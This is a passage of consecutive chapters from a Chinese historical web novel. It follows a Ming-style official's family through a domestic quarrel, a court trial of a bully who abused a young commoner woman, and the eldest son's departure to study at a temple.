“我看谁敢说出去!”吼完,他转身怒气冲冲地扫过院子的丫鬟,丫鬟们当即全都吓跑了,大娘子见状,双手叉腰,来到他跟前,昂着身子,将脸凑了过去,“有本事,你今儿就打死我!” “你还来劲了是吧!看我不打死………” “哎哎哎!父亲万万不可!”秦照死死拦住父亲的手,但他显然是没有父亲有力,当场就被噙着手推了出去,随后“嘭!”地一声,主厅的们就被关上了,随即漫骂声,“劈里啪啦!”各种物品砸碎的声音全部灌进秦大公子的耳朵里,他无奈地叹了一口气。 足足半个时辰,他见房间动静小了些,才走到门口,朝里面说了一句:“父亲,母亲,二弟还在狱中,你们若是闹够了,便去看看他,给他带些吃的也极好的。” 话刚落音,只听见“嘭!”地一声,门开了,一瘸一拐的秦监副阴着脸走了出来,拂了拂衣袖,开口就是一顿训斥:“方才讲了那么些废话,就这句还有用些,赶紧回去温书,若是今年秋闱还不中,我打断你的腿,还有,你弟弟的事用不着你瞎操心,若是以后你母亲再找你哭诉,你便派人通知我,听见了没!” 秦照无奈地笑了笑,点头称是。 这时,鼻青脸肿的大娘子顶着面巾出来了,她狠狠地瞪了秦监副一眼,但一不小心用力过猛,扯得脸生疼。 秦照见状连忙上前扶住她,问道:“母亲!你没事吧!” 大娘子一把推开了他的手,怒道:“哼!我能有什么事,我好得很!” “可是母亲您的脸?” “不用你管,听他的,回去温书。” 秦监副一脸不满地转过头,对着他又是一阵怒吼:“还站在此处作甚,还不快回去!” “你一天天就知道吼儿子,我看他中不了都是你害的!” “你再说一遍!” “就说了怎么了!” “…………” 眼看这两人又要吵起来了,秦照毫不犹豫抬腿就往外走,若是自己还留在这,指不定又要开始闹了。 秦监副和大娘子一前一后分别赶到府衙,买通官差后,二人见到了秦览。 这次,秦监副见他没睡,心中有了一丝安慰,但秦览见到自己说的第一句话便又将他惹火了。 秦览见父亲一瘸一拐,见母亲脸色带着面巾,误以为他俩来的路上遭人打劫了,当即冲着狱卒大喊大叫:“来人啊!我要报官!” 秦监副此刻的脸十分丑,若是不是中间隔着木栏,他当即恨不得给这逆子一巴掌。 大娘子连忙伸手捂住他的嘴,轻声道:“别大喊大叫!” “那你和父亲是怎么回事?不是半路被抢劫,难道还是掉坑里了?”他调侃意味十足,让秦监副压着声音一顿斥责:“你个不孝子!你老子我如何用不着你在这多嘴,你自己身上还有官司,竟然还有脸要报官!” “我这不是担心你们二老么?这么不领情,那算了,你们二位也用不着来这看我了,且回吧,我在这过得舒服着呢,饿了有吃的,困了倒头就睡,谁也管不着。” “你你你!”秦监副气血上涌,两眼一黑,当即握着胸口就要倒下去,一只手碰着大娘子,示意他扶住自己。 岂料大娘子丝毫不理会他,直接拿出一个食盒,自顾自地将里面的吃食都拿给儿子,一边递食物一边抽泣着说:“母亲知道你说得是气话,气死了别人无关紧要,母亲是什么都不在乎的,母亲心里只担心你,你看看,脸都小了一圈了,哎哟,叫你平日里听话些,少言慎言,你就是不听劝,如今还当街打伤了人家,我日日夜夜担惊受怕,就怕你有个闪失,那可不是要了我这个做母亲的命吗?”说着说着,又开始啪嗒啪嗒掉眼泪。 秦监副有些尴尬,捂着嘴咳嗽了两声,沉下脸,一字一句嘱咐正在狼吞虎咽的儿子,“你给我听好了,我现在要同你说正事,后人午时三刻便要开堂审你,届时问你如是说便是,不问你的时候,你记住,千万不要多嘴,自有人替你辩驳,明白了?” 秦览就着母亲递给的茶水咽下最后一口,盘着腿坐在地上,漫不经心回道:“何须人为我辩驳,那李敕松仗自己背后有靠山,平时就处处在皇城脚下作威作福,这次被我当众遇见他调戏良家妇女,我打他一顿又怎么了,他这是活该!” 秦监副一脸恨铁不成钢,指着他训斥:“你能不能稳重些!若是拳头就能解决问题,还要我朝明律作甚!” “呵!若是律法明,他还能逍遥至此,父亲,您不要总是拿你官场那套来训我,像李敕松这样的无耻流氓之徒,打死都不为过!” “你………究竟要我说多少次才肯听,你就算不为自己着想,也得为秦家想一想,我和你母亲日夜为你奔波,是吃不下也睡不着,你兄长今年就要参加秋闱,倘若他真的高中入朝做官,最后因你之事与位高权重的辅臣结下梁子,哪还有他出人头地之日?” 闻此,大娘子也停止了抽泣,拉着他的手语重心长劝解道:“儿啊!听你父亲的,别意气用事。” 一向轻佻的秦览此时脸上充满了不甘,他抬头直视着秦监副,一字一句道:“父亲不是说律法明吗?怎么还怕别人影响兄长仕途,若是兄长堂堂正正,亦不该惧!” 他这话是往秦监副心里捅刀子。 秦监副怒目而视,喘着气,死死捏住衣袖,声音颤抖:“好,好,越发伶牙俐齿是吧,我说不过你,从此以后,我没你这个儿子!你生也好死也罢,与我秦宅不沾半分关系!哼!” 他当场被气得夺门而出,留大娘子在原地大喊:“主君!万万不可啊!他可是你亲生儿子啊!” 但无人回应,秦监副早已离去,秦览垂下眼眸,眼里没有一丝不悔,他起身扶住母亲,但被她一手推开了。 “你知不知道,钦天监承世业,若拒承,诛九族,你是想要我们全家人陪你一起去死吗?啊?” “诛九族?”他冷笑一声,“你们不是还有大哥吗,原本就应该是长子继,只因他说不愿,你们就让我去,可我也说了不愿,你们便充耳不闻。” 大娘子一愣,眼带诧异,良久才道:“那母亲问问你,你又可曾说过你要入科考?你又可有你兄长那般挑灯夜读的毅力?” “熬夜苦读又如何,还不是没中举?”说这句话的时候,他刻意压低了声音。 幸而大娘子没听见,以为他不回话,心中松下一口气,又开始哭,哭着哭着,脸上的面巾掉了下来,鼻青脸肿再加上痛哭流涕,秦览于心不忍,放缓了神情,说:“母亲请回吧,以后也不必来看我了,我向来是个不要话的人,以后如何,皆是我自己的造化。” 大娘子闻此,一把瘫坐在地,不可置信地看着他。 秦照听闻父亲从府衙回来后发了好大一顿脾气,原本想去劝劝他,但犹豫再三,决定还是不去了,于是途中又折返回去,在经过院亭之时,偶然发现地上有一本抄录文,他见四下无人,于是捡起这本抄录,细细翻看了起来。 只见这本抄录,字迹清秀,行云流水,一勾一撇一捺力透纸背,颇有柳骨之风,光看这字迹便让人心生佩服,更何况这里面的内容,他目不转睛地读着,每一字都不放过,眼眸也越发光亮起来,越往下看,心中顿时涌出一股热意。 究竟是何人抄录的?他自诩藏书千百卷,也从未见过这上面摘抄的内容,更何况,旁边还写满了这本抄录主人的见解,字字句句巧妙独 12. 公子伴读(中) 《第一女首辅》全本免费阅读 府衙公审这日,秦监副带着大娘子往府衙赶,临行之时,他又让秦照也跟着过去看着。 秦监副和大娘子先行,秦大公子带着谢旻后面居上。 到了府衙门前,大娘子看见谢旻跟来也顾不上发怒,此时她满心满眼里全是自己的二儿子。 待人都到到齐之后,京都府尹一声令下,紧握堂木拍桌而令:“开堂!” 谢旻回过神,她看见双手双脚锁着铁链的秦二公子被官差押了进来。 一旁的大娘子一见到自己的儿子如此模样便痛哭流涕,又让秦监副将她低声训斥了一顿。 倒是秦览一见他们,轻佻地笑着毫不在意,这副模样让公堂中央坐在木轮椅上的李敕松红了眼,他立马对府尹大人道:“大人!秦览这副模样简直是不将此次堂审放在眼里,藐视我朝明律,还望大人将其惩戒一番,以儆效尤!” “呵!”秦览冷笑了一声,跪在公堂下,满眼鄙夷地看着他,道:“我这副模样再不堪,与李公子相较,怕只是小巫见大巫了。” “闭嘴!忘记我如何教你的了!”秦监副看着他,痛心疾首。 这句话倒是让李敕松抓住把柄,立马道:“教?秦监副是如何教自己的儿子的,不妨说出来,让在座所有人听一听,怎么,秦监副是教自己的儿子公然逃脱律法的惩戒吗?” 府尹大人面露不悦,立马拍木道:“与本案无关之论,休要言说,来人!传杨氏!” 李敕松哑口无言,只得悻悻作罢。 杨氏正是当日李敕松当街调戏的那名女子,约是十五六岁的年纪,身着布衣,一直低着头,直到府尹大人让她抬起头来答话,她才缓缓抬头,岂料看见一旁的李敕松,顿时整个人慌乱不已,唯唯诺诺道:“民……民女参见大人。” “本官问你,你需如实回答。” “是。” “你可认得李敕松?” “民女……认识。” 这时,秦览插嘴道:“看看她这副模样,如同老鼠见着猫一般,可想而知当日是受了多大的惊吓。” “览儿,闭嘴!”秦监副和大娘子两人脱口而出。 公堂之上的府尹大人眉头一蹙,看了他们二人一眼,随后又将视线落在一脸正气凛然的秦览身上,严肃道:“秦览,本宫没问你话,若是再犯,罪加一等。” “罪加一等?”秦览笑了一声,满是不屑,“大人还未审完,就认定我已是罪人之身了?” “放肆!”府尹大人猛拍惊木,这一声吓得堂外的大娘子两眼冒黑,心猛地一颤,就要被自己儿子给气晕过去,幸好被身后站着的秦照和谢旻扶住,才堪堪稳住身子。 就在府尹大人要处罚秦览藐视公堂之罪之时,来了两名锦衣卫的人,他们直径走向公堂,递给刘府尹一封信,送完便离开了。 刘府尹眉头紧蹙,打开一看,那信上面清楚地写着杨氏与李敕松的关系,并且记录着杨氏之父是李府的下人,平时负责运送泔水等杂物,杨氏偶尔携带衣物吃食前往李府探望父亲,这些事,他早已派人调查清楚,只是这李敕松曾多次将人逼至墙角凌辱,这是他所不知道的。 看到这里,府尹大人抬眸瞥了一眼离去的两名锦衣卫侍卫,想来这锦衣卫之手无所不入,只是这李敕松背后靠着户部侍郎李大人,李大人背后又有姚尚书,但这锦衣卫和内阁如今也不是好惹的,既如此,只能想一个折中的法子。 于是他问杨氏:“你可是与李敕松互生情意?” 此话一出,杨氏顿时惊恐万分,瞪大了双眼,浑身止不住战栗起来,李敕松假装咳嗽了一声,杨氏眼眸一颤,眼泪当即就流出来了,跪在地上,颤抖地回了一个字:“是。” 秦览见此,衣袖下的手紧握成拳,抿着嘴,冷冷地看着李敕松。 李敕松心中甚是得意,轻蔑地看了一眼他,还补充了一句:“这杨氏可是本公子还未过门的妾,秦二公子,我与自己的妾室如何,怕是用不着你来插手吧,莫非秦二公子看上了她,若是你肯低头向本公子认错,这杨氏我也可送给你,如何?哈哈哈哈哈!” 此话一出,无异于是在折辱秦览和杨氏。 杨氏闻此,当即瘫倒在地,再也忍不住大声哭了起来,边哭边喊道:“不,我不是!” 秦氏夫妇二人紧张地看着自己的儿子,生怕他当堂打人,忍不住在心里咒骂着李敕松这个小畜牲。 秦览眼眸冷得吓人,手背上青筋突起,似乎下一刻拳头就要往他脸上打过去。 刘府尹见这李敕松在公堂之上这般狂妄,心中愤怒,当即呵斥道:“李敕松于公堂折辱他人,言语不堪,当堂掌嘴十下,来人!立刻执行!” 李敕松顿时慌了,还来不及说话,双手被擒住,半米长的板子“啪啪啪!”连打了十下,但他还在咿咿哇哇还在大放厥词。 刘府尹只是想给他一个教训,官差并未用全力,最后刑完,李敕松的嘴又红又肿,模样十分滑稽,这时,堂外传出一阵阵嘲笑声。 见众人都在嘲笑自己,李敕松心中愤恨,但嘴疼得根本说不了话,只得用衣袖遮住脸,双眼死死地瞪着秦览。 “肃静!”刘府尹一拍惊木,众人才止住了笑声。 杨氏泪眼朦胧,堪堪止住哭泣声,刚想要说话之时,李敕松便站了起来,一张嘴,扯到了伤口,哎哟了好几声,断断续续道:“若……哎呦!大人,我所说句句属实,这杨氏确实是我还没进门的妾,若是不信,可……可将杨氏的父亲找来对证!” “传杨氏之父!” 不一会儿,杨父便被官差带上了公堂,见自己女儿受尽了委屈,连忙上前查看,却被杨氏推开了,杨父一时之间有些手足无措,须臾反应过来时,跪在地上说:“小的参见大人。” “本官问你,你是否答应将自己的女儿嫁给李敕松做妾?” 杨父低着头,跪在地上,听着自己女儿哭泣声,心中甚是悔恨,但倘若自己不答应,那李敕松定然不会放过他们父女二人,无奈只能答道:“是。” 众人唏嘘,这杨父竟然敢把自己女儿送给李敕松做妾,这不是把她往火坑里推? 李敕松露出得意的眼神,又开始断断续续说:“既如……此,大人只管……将……将秦览定罪……当街殴打他人……依据……依据明律处置!” 杨父埋着头,颤抖着闭着眼,不敢看自己的女儿。 突然,杨氏从地上爬起,踉踉跄跄地走自己父亲面前,哈哈大笑,只是笑得瘆人。 “父亲。”她轻轻地喊了杨父一声,如同平时那般亲昵,但又夹杂了一丝绝望,她缓缓退后了几步,退一步说一句:“自小母亲去世,父亲独自将我抚养长大,这份养育之恩,女儿是铭记在心的,女儿知道,父亲有苦衷,只是,女儿不孝了。” 堂外的谢旻感到一丝不妙,见杨氏慢慢往后退,猛地后知后觉,连忙大喊:“不要!” 果然,待最后一个字落音,杨氏猛地一个箭步往身前柱子上撞过去,千钧一发之际,秦览一个跨步,挡在柱子前,杨氏撞到他身上,随后摔倒在地,额头磕在地上直冒鲜血,当即晕了过去。 “絮儿!”杨父大喊一声,连忙上前抱着她,痛哭流涕道:“对不起,是父亲害了你!是父亲害了你啊!” 见场面一度混乱,刘府尹连忙下令将杨氏带下去治伤。 杨氏被带下去后,杨父整个人如同被抽了三魂七魄,他瘫倒在地,嘴里默念着:“她恨我了,她恨我了。” 公堂之上,险些闹出了人命,刘府尹只好宣布退堂,让人将李敕松和秦览收押监牢,择日再审。 府衙大门关上后,秦监副和大娘子松了口气,两人倚在一处交谈着:“依照目前这情形,览儿脱身的可能性就大大增加了,最好是这次将李敕松那个小畜生给流放,也算是为名除害了,让他还这么堂而皇之地折辱览儿!” 秦监副捋了捋胡须,慨言道:“这你可别想了,那李敕松背后有户部侍郎李大人,李大人背后又有姚尚书,怎可能轻而易举就定罪,若不是我请魏阁老出马,派了锦衣卫的人来,方才瞧着那府尹大人的意思,恐怕只是想息事宁人,两边都不得罪,要不是李敕松口出狂言,说了纳杨氏为妾,哪还有方才那些事,恐怕现在这个案子已经结了。” 身后的谢旻默默听着他们二人的对话,心里不知是何滋味,她佩服杨絮宁死不屈的勇气,恨李敕松这样的小人作威作福,气杨父的懦弱妥协,可又想到在强权之下,这一切都只能化作一声哀叹,又想到江中一带,顿时心中堵上了一块石头,只觉得这世道不公。 此事过后,秦宅上下都松了一口气,大娘子心情大好,看见谢旻和柳小娘也不再为难二人。 四月初的日子,微风和煦。 自打谢旻去了大公子院中当差,周围的人都对她高看了几分,且不说大公子院子里月钱高,最主要的是大公子对待下人十分温和,这样一份美差,人人都趋之若鹜,对她是又羡慕有又嫉妒,连带厨娘如今都会在她跟前说上几句阿谀奉承的话,然而随之而来也有各种麻烦,比如有些人会往她这塞东西,为的就是想让她以后多在公子面前美言几句,对此,她也是能躲就躲。 但除了老管家,他仍旧是一副面无表情的模样,对谢旻的态度也没什么改变。他对谢旻道:“主君昨夜吩咐了,让你今日搬去大公子院子旁边厢房去住,也好时刻照顾公子,你这便收拾一下,随我过去。” 谢旻愣了会儿,但很快便反应过来,道:“是,多谢主君。” 如此甚好,这帮她解决了一些麻烦。 她的东西不多,同刚搬入这间小屋一样,只是多了几本书籍,一个人倒也能应付过来,只是有些吃力。 老管家在门口等了一会儿,见她抱着怀里的一摞书,身形有些不稳,便伸手将她左手挂着的包袱解了下来,说:“我年纪大了,也只能帮你做这个。” 谢旻擦了擦汗,笑道:“多谢赵叔,不过不用了,我自己能行,若是搬不过去,再来一趟也不妨事。” “一趟便可以做好,不需要再浪费时间,大公子那还等着人伺候呢,抱好东西,快些随我走!” “是。 13. 公子伴读(下) 《第一女首辅》全本免费阅读 西巷临近菜市口,此处多是贸易往来,道路拥挤。秦监副不得不下桥自行走回去,谢旻跟在他后面,时不时四处观望,不一会儿,在一处鱼摊前,她看见了一个熟悉的背影,于是她便对秦监副说:“回禀主君,今儿公子说想吃鱼,小的这就去给公子买。” 秦监副摆摆手示意她去,还没走出两步,他又折回身拦住谢旻,说:“既是他想吃,我今日来了,便顺路去买,你且先回宅去。” “是。”谢旻看着主君走后,她转身走向另一处鱼摊,那正是上次与厨娘争吵的那个鱼贩子。 “大叔,你这鱼好不好?” “哟,你小子怎么来了,秦宅的厨娘都不在我这买,难不成你要来买?”,那鱼贩子上下打量了她一番,啧啧道:“看你这模样,是发达了?” 谢旻并未答他,转而说:“今日我家主君亲自来为大公子买鱼了,我先四处看看。”说完,她给鱼贩子指了个方向。 鱼贩子立马起身,顺着她指的方向一看,还真是秦宅老爷,他转了转眼珠子,笑呵呵地对谢旻说:“你快让你家老爷过来上我这买,今儿我这的鱼特新鲜,还比别处要便宜!” 谢旻见他一副谄媚样,便说:“我只是随处看看,买不买你这的鱼,还要看主君的意思。”说完,她就离开了。 鱼贩子见巴结不成,干脆直接跑到秦老爷前面,拦住了人,朝他边说边比划。 谢旻躲在远处,看着主君的脸越来越难看,她嘴角慢慢勾起一抹笑。 傍晚时分,大公子让谢旻去库房找老管家拿一块新的砚石,她刚从院子里出来,没走几步就听见过路的两个丫鬟正在说厨娘被赶出秦宅的事情。 她并未停留,直径往库房走,途径大娘子院子时,她听见了主君的训斥声以及大娘子的哭声。等到库房之时,一位小厮说老管家正在大娘子院子跪着,谢旻听后一愣,她眼里闪过一丝歉意,只是,她依然不后悔这样做,若不是那厨娘去大娘子面前告密,自己也不会被打成那样,何况厨娘私下里吃回扣是事实,她并非是栽赃陷害,只是这件事连累了老管家。 当天夜里,谢旻在老管家门前放了一小瓶药膏,以表示她的歉意。 厨娘的事情翻篇,秦二公子的堂审即将开始。 堂审前一天,在下朝后,魏阁老给秦监副带了一个消息,说户部侍郎李大人可能会去府衙。秦监副一听,当即便称自己身体抱恙,从宫里告了假后,就躺在床上不见客。 大娘子以为他真的身体不适,忙赶着要去找大夫,又被他训斥了一顿。秦监副不得不将事情原委告诉她,并嘱咐让秦照也不准去。 大娘子听后满脸鄙夷,心里暗骂这个没骨气的人,既然他不去,自己定然是要去的。 开堂这日,秦监副果然没来,只有大娘子带着两个丫鬟,还有被秦大公子派来的谢旻。 “啪!”刘府尹一声惊木,“来人!将杨氏父女带上来!” 杨絮额头上缠了一快纱布,跪在地上,心如死灰,杨父满脸悔恨,不敢看女儿一眼。 倒是一旁的李敕松依旧是那副得意洋洋的样子。 看来是上次打得不够狠,谢旻心里想。 “杨承,上回你说,你已经将杨絮许配给了李敕松,本官今日再问你一次,可是真?” 杨父低着头,回道:“是,大人。” 杨絮听了,闭着眼,无声地流泪。 李敕松勾起一抹笑,道:“大人,既如此,请依律法尽快了结此事。” “慢着!”杨父突然出口打断他的话,“禀大人,这一切,都是他逼我做的!”杨父怒目而视,颤抖地指着李敕松,继续愤言:“是他!他凌辱了我女儿,又用她的性命来要挟我,让我同意絮儿入府做妾,我没办法,只得答应他,事后,他塞给我二十两银子,逼我在卖身契上按了手印,那银子就在我家柜子里,大人若是不信,可以派人去取。”说完,他泪流满面地看着女儿,缓缓道:“絮儿,是我没用,是我对不起你!”说着说着,他狠狠地抽了自己几巴掌。 “父亲!”杨絮连忙上前制止,“父亲!女儿知道的,女儿不怪你。” 见两父女抱头痛哭,刘府尹道了声肃静,随即派人去杨父家中搜查。 李敕松没想到这姓杨的破罐子破摔,竟然当众反咬自己一口,不过,他也没在怕的。 官差将证物拿来后,刘府尹看了看,确实与杨承所说无异,但是这些证据尚不足以证明他是否是被逼的,于是便问杨承:“李敕松胁迫你签下这卖身契之时,可还有其他人在?杨絮受辱之时,可有人看见?” 李敕松笑了,他看着愣在原地的杨氏父女,心里沾沾自喜。 杨父咬着牙说出了李敕松两个手下的名字,尽管他知道,这无济于事。 显而易见,当李府两个小厮被传上公堂之时,不仅否认了此事,还倒打一耙说他们杨氏父女满口谎话,只为贪图公子钱财。 杨氏父女没有实证,刘府尹只得从中协调,当即就要宣判此案。 眼见为非作歹者就要无罪释放,杨父走投无路,如今女儿名节已毁,他今天就算是死,也不会放过李敕松,于是大喊:“大人!” 刘府尹示意他说。 “小人要揭……” “户部侍郎李大人到!” 所有人往外看去,只见一身官府的李大人大步走了进来,满脸严肃,先是朝刘府尹寒暄道:“刘府尹近来可安?” 府尹大人连忙从公堂之上走下来,恭维道:“李大人客气了。” 李大人笑了笑,不说话,随后将视线转移到自己的侄子身上,随后又看了一眼杨氏父女。 李敕松以为二叔是来帮他的,连忙道:“二叔,侄儿没事,您不必亲自过来一趟。” “是吗?”李大人反手就抽了他一巴掌。 李敕松被当场打懵在地,眼里满是震惊,“二叔。” 李大人又是一脚,指着他怒骂:“混账东西!我平日里就是这么教你的?我让你不学好,让你欺负下人!今儿我就打死你!” 李敕松被打得跪地求饶,“二叔!二叔!侄儿错了!再也不敢了,求二叔饶了侄儿!” 秦览对此满脸不屑,这李大人来得可真是时候,他不想再看这两人的逢场作戏,便开口嘲讽道:“李大人!这里是公堂,不是财大气粗的李府。”随后又对府尹大人说:“大人,方才杨氏之父话还没说完。” 李大人转过身,理了理衣袖,看了一眼秦览,满怀歉意地对刘府尹说:“是我逾矩了,家中出了这么个不肖子孙,实在是忍不住,还望大人海涵。” “哪里哪里。”刘府尹客气地陪笑着,他哪里会不知道李大人的用意,招呼人坐下后,又对杨父说:“你将你方才没说完的话再说一遍。” 杨父看着李大人,心里不含而栗,支支吾吾说道:“我揭发李敕松与他手下两个小厮聚众敛财。” 李大人放缓了紧蹙的眉头,看了杨父一眼。 刘府尹没说话,看了看李大人,说:“可有证据?” 杨父低头不语,倒是李大人起身说:“不用证据了,这混账东西我心里最是清楚不过了,府尹大人数罪并罚了吧。” 刘府尹还没说话,一旁的秦览拍了拍手掌,大笑道:“好!好一个数罪并罚!这案子还没审完,府尹还没定罪,李大人就说数罪并罚了,请问,这数罪并罚,是指哪些罪呢?不会是欺负下人吧?” 听见这话,李大人也不恼,反而神色十分平静,他负手而立,盯着眼前的这个年轻人,伸手拍了拍他肩膀,问:“那你说,该如何?” “呵。”秦览不屑地笑了一声,往后退了一步。 与此同时,李大人不露声色地收回手。 “国法在上,自是按律定罪,李大人莫不是再为难小民?” 李大人笑着摇了摇头,看着门口聚集的百姓,眼眸深晦,随后直接越过他,往府衙大门走去。临走时,留了一句:“依律处罚,以平民心。” 瘫坐在地上的李敕松被这句话吓得久久回不过神来,嘴里只嘟囔着:“走了……叔父不管我了……叔父……”下一刻又声嘶力竭地大喊:“叔父!救救我!孩儿知错了!” 他一边喊一边起身想要追上前去,但却被官差死死摁住。 刘府尹松了一口气,心想,这李敕松欺压百姓、强抢民女再加上聚众敛财,依律处置,数罪并罚,即可斩首,眼下这李大人为了保全名声已然要放弃自己的侄子,那此事就好办了。他当即便宣布退堂,将所有人都押回牢房,又派手下彻查李敕此案。衙外看热闹的百姓被官差轰走,谢旻跟着满脸笑意的大娘子回宅。 14. 京云寺(上) 《第一女首辅》全本免费阅读 此刻,秦宅上方笼罩着一层乌云,尚未褪去官服的秦监判在自家祠堂里来回踱步,祠堂正中央跪着秦照,当然也少不了秦览。 秦览刚游船回来,还没进门就被叫来着跪着,他一脸的不服气,结果就是一顿打。 一旁的大娘子又心疼自己的儿子,又在心里暗骂他不争气。 柳姨娘、两位小姐以及老管家提着灯笼守在祠堂外,其余下人都一一被支开。 秦监副捋着胡须,旁边的烛火跳得他眼睛生疼,终于受不了了,“砰!”地一声,他一掌拍在桌子上,这一掌把大娘子抹泪的帕子都吓得掉了。 秦监副将目光放到秦照身上,心中怒火再次被点燃,他抖着手说:“你自己出来给我解释解释,为何这次又没考中!” 秦照跪在地上根本不敢抬头。 “说啊!”秦监副踹了他一脚。大娘子见状连忙上前护在他身上,边哭边喊:“你别逼问他了,他心里何尝不难受啊!” “父亲....孩儿实在不知道为何。” 秦监副被气得哈哈哈大笑,“我那些同僚的子侄们哪一个是考了三四次还没中举的?就是他!让我平白无故地蒙羞,你知不知道,今儿旁人见我早早地从宫里出来,特意来恭喜我,如今这样让我以后如何抬得起头来!” 秦照无力辩驳,只得磕头认错。 秦监副见他这样子,气得瘫坐在椅子上,他缓缓抬头望着祖宗牌位,良久,似乎是想到了什么,缓缓道:“见你平时读书也是认真,没有半分敢懈怠的模样,既如此,想来原因只有一个了。” 其余三人呆在原地,等着他说。 “那便是气运二字了。” 秦照同母亲面面相觑,大娘子顺势问:“莫不是照儿气运不好,冲撞了那天上的文曲星?” 秦监判不作回应,只是将人都赶出了祠堂,自己跪在祠堂里,嘴里念念有词,也不知道在说什么。大娘子生怕他反悔,连忙带着自己两个儿子回院子里去了。 翌日清晨,秦监副从祠堂出来直径向大娘子院子里走去。 “噗!”大娘子一口茶水喷出来,满脸不可思议,“你要将照儿送去寺院?” 秦监副点头,将怀中折好的信纸递给她。 大娘子打开,上面赫然写着“京云寺”三个大字。 “这便是主君跪了一夜求来的法子?” “不错,那京云寺的主持我认识,方才从祠堂出来的时候已经派人前去打过招呼了,照儿明日便可启程,三年后秋闱考中方可归家。” “三年!”大娘子满脸震惊,“主君你莫不是被人诓骗了?” 秦监副瞪了她一眼,“你还想不想照儿中举?” “可是....” “不必再说了,我主意已定,你今日先行收拾一番,明日辰时送他启程,我先去换衣服入宫。” 大娘子握着那信纸,整个人还没缓过神来,哪有当爹地把自己的儿子送去寺院的?一去还是三年!这主君是被气糊涂了才想出这样的法子吧。 当她将这个消息说给自己两个儿子说的时候,秦照不仅没有反对,反而十分支持父亲这个决定,他觉得寺院清净,何况京云寺离家也不远,最主要父亲的期望简直压得他喘不过气来。 而秦览当即就拍桌子表示抗议:“凭什么父亲不让我去!我也要去!” “你又不科考,你凑什么热闹?” “我不管,兄长能去我为什么不能去,我可以去寺院里习武,当兄长的贴身护卫!” 大娘子一巴掌拍在秦览额头上,“寺院是你打打杀杀的地方吗?快把这些话咽回肚子里去,仔细传到你父亲耳朵里,又叫你吃一顿皮肉苦。” “哼!我不服!” 大娘子懒得搭理他,转头问秦照,担忧道:“照儿,寺院可不像在家里这般舒坦,日子清苦得很。” “母亲,有什么比中不了举还苦的事情吗?” 大娘子还是有些不放心,再三确认。 “母亲别担心,这一次,孩儿定然不会辜负父亲的期望。” 见他心意已决,大娘子只好含泪替他收拾东西。 不一会儿,大公子要去京云寺的消息就传遍了宅院里上上下下。 春和带着谢旻在书房整理书籍。原本大娘子想将自己身边两个侍女跟过去服侍,但被秦照一口回绝,他只要了春和与谢旻两个人,大娘子拗不过他,只得点头同意。 谢旻抱着书放进书箱里,她抬头见大娘子正在前面清点明日要带去寺庙的东西,想起婉儿的银铃,待大娘子走远了,谢旻起身走到东翻西找的四小姐秦悦身边,将自己衣袖里的铜铃拿出来些,随着步伐,铜铃掉在地上。 秦悦听见声响,立马将东西捡起来玩弄。谢旻蹲在她面前,说:“四小姐,这是我掉的东西。” “我捡到了就是我的,你一个下人,怎么敢问我要东西,你信不信我这就去告诉母亲。”说完,她就要去找大娘子。 谢旻见状连忙拦在她身前,说:“不是不给小姐玩,而是这个铜铃不可以和小姐身上的银铃放在一起,因为小姐不是这银铃的主人,所以遇到这个铜铃,小姐身上的银铃就会在半夜响,小的怕小姐晚上会做噩梦。” 秦悦被她说的一愣一愣的,毕竟自己身上这个银铃是她从婉儿那里抢来的,但她仗着自己是这宅院的嫡小姐,自是不能面露胆怯,于是咽了咽口水,道:“我不怕。” 谢旻假装无所谓,说:“既然小姐不怕,那这个铜铃小姐便拿去好了。”说完,就忙着手中的活。 秦悦转身跑道檐廊拐角处,连忙将腰间的银铃连同手中的铜铃一起扔掉,随后回了自己的院子。 谢旻笑了笑,心想这四小姐当真是嘴硬,她起身去将扔掉的铜铃和银铃一并捡了回来,收进怀中。 当天夜里,柳姨娘将谢旻叫过去细心嘱咐了一番,递给她一个包袱,说:“你明日就要同大公子一起去寺院,这是我攒的一些银两,你拿过去好傍身,寺院清苦,你定要照顾好自己。” 谢旻连忙将包袱推回去,“姨母,这银子是你幸幸苦苦攒下的,寺院有吃有住,我用不着,您和婉儿才更需要这些银子。” “旻儿听话,带着好。”柳姨娘声音有些哽咽,想到她要住上三年就忍不住心疼。 谢旻见她坚持要给,当即扑通一声跪在地上,倔强道:“若姨母一定要我带上,我就一直跪在这里。” “你这孩子,真是,快起来,姨母不给就是了。” 谢旻这才起身,她从怀里拿出一个银铃递给柳姨娘,“姨母,这个是四小姐从婉儿身上抢走的那个银铃,您替婉儿收着吧,不要让四小姐看到。” 柳姨娘面露诧异,“旻儿你怎么是要回来的?” 谢旻会心一笑,道:“四小姐玩腻了随手一扔,恰好被我给捡到了。” 柳姨母看出了她眼底的狡黠,明显这是瞎说的,不过既然旻儿不想说,那自己也不问了,于是又拉起她的手,细细嘱咐着。 第二日,秦监副带着大娘子以及宅子里的人站在大门口相送。 大娘子握着秦照的手边哭边埋怨:“你父亲说的都是什么规矩,什么不准父母亲相送,哪里来的由头?” 秦照看了眼父亲,心里有些无奈。 “好了好了,别误了吉时。”秦监副拉开大娘子,他拍了拍秦照的肩膀,语重心长道:“这一次,你可别再让为父失望。” 秦照立马下跪,虔诚道:“孩儿定当不负父亲母亲所望!” 一旁的柳姨娘看着谢旻,将自己昨日连夜做的木荷糕递给她。谢旻看着红着眼睛的姨母,心里万般不舍。 这时,秦监副环顾四周,“览儿那个兔崽子又上哪去了,他哥哥今日离家去寺院,他也不知道来送送,果真是目无尊长,等他回来看我....” “好了,别误了吉时,照儿你快些走吧。”大娘子出声打断了秦监副的话。 “是是是,你快些上马车去吧。” “孩儿告别,望二老注意身体。” 秦照带着两个相送的妹妹上了马车。谢旻抱着食盒走在马车后面,身旁还有大娘子身边的张嬷嬷。 见他们都走了,秦监副直径去宫中上朝,唯独大娘子和柳姨娘在门口站了许久,直至马车消失在路尽头。 半个时辰后,马车出了城门,步伐逐渐快了起来,但也到寺院门口了。 京都只有两座寺,一是广元寺,广元寺乃皇家所有,位于紫禁城二十里外的浮名山中,山后便是帝王陵墓,此处有重兵把守,戒备森严,非皇室之人不得进入。 第二座便是广纳天下百姓祈福的京云寺,其坐落位于皇城脚下。天南北往之人路过此地,皆要入内拜上一拜,因此,京云寺寺内香火十分茂盛,常年不曾断过,这一年一度的庙会更是热闹非凡,官宦世家、寻常百姓皆携供品,踏至纷来。 马车平稳地停在山下,谢旻放下食盒,将马凳放平稳,随后将婉儿抱了下来,再去伸手扶秦悦时,被她一把打开。 秦悦撅着小嘴,满眼厌恶地看着她,说:“我不要你碰!” 婉儿连忙挡在谢旻身前,说:“四妹妹,你不许这样说表哥。” 